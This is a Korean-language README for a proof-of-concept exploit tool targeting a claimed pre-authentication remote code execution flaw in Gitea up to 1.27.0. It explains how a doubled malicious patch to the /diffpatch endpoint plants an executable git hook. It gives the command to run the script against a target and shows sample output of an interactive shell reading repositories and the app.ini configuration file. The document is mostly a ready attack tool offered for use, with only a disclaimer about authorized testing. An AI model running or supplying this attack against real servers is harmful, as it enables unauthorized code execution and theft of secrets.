
CVE-2026-60004 — Gitea <= 1.27.0 Pre-Auth RCE
이것은 Gitea 1.17부터 1.27.0까지의 버전에서 발생하는 치명적인 원격 코드 실행 취약점인 CVE-2026-60004에 대한 개념 증명 익스플로잇입니다. 이 스크립트는 사용자 등록부터 대상 서버에서 안정적인 대화형 셸을 구축하기까지의 전체 공격 체인을 자동화합니다.
취약점은 /diffpatch API 엔드포인트에 존재합니다. 악성 패치를 두 번 전송하면 add/add 충돌이 발생하여 --cached 플래그를 무시하는 3-way 병합 폴백이 트리거되고, 베어 저장소의 GIT_DIR에 실행 가능한 Git 훅이 직접 기록됩니다. Git이 인덱스를 업데이트할 때 이 훅을 자동으로 실행하며, Gitea 서비스 계정으로 임의 명령을 실행할 수 있게 됩니다.
Gitea는 PHP 인터프리터가 내장되지 않은 컴파일된 Go 바이너리이기 때문에, 전통적인 웹셸을 업로드하는 방식은 이를 실행하도록 구성된 보조 웹 서버가 없는 경우 종종 실패합니다. 이 문제를 해결하고 익스플로잇을 완전히 안정적으로 보장하기 위해, 이 스크립트는 API 기반 접근 방식을 사용합니다:
post-index-change git 훅을 설치합니다.cmd.sh)에서 명령을 읽어 서비스 계정으로 실행하고, 출력을 git blob(proof)에 기록합니다.python3 poc.py https://target.com
실행되면 스크립트가 자동으로 계정을 등록하고, 악성 훅을 설치하며, 대화형 셸로 안내합니다:
---------------------------------------------------
CVE-2026-60004 -- Gitea <= 1.27.0 Pre-Auth RCE
Fully Interactive API Shell
---------------------------------------------------
[*] Fetching CSRF token from signup page...
[+] CSRF token acquired.
[*] Registering user: poc5wp6tp
[+] Authenticated as poc5wp6tp
[*] Creating repository: poc-ozirkq
[+] Repository created.
[*] Fetching main branch SHA...
[*] Planting malicious hook via add/add collision...
[+] Hook planted and triggered.
[*] Verifying RCE...
[+] RCE VERIFIED! Shell is ready.
uid=1000(git) gid=1000(git) groups=1000(git)
==================================================
Gitea API-driven Interactive Shell
Type 'exit' to quit
==================================================
gitea-rce$ whoami
git
gitea-rce$ ls -la /data/gitea/repositories
...
gitea-rce$ cat /data/gitea/conf/app.ini
...
이 도구는 교육 목적 및 CTF와 같은 인가된 보안 테스트용으로만 제작되었습니다. 대상 시스템을 테스트할 수 있는 명시적 허가를 반드시 확인하십시오. 저자는 이 도구로 인한 오용이나 피해에 대해 책임을 지지 않습니다.
Chirag Artani - https://3rag.com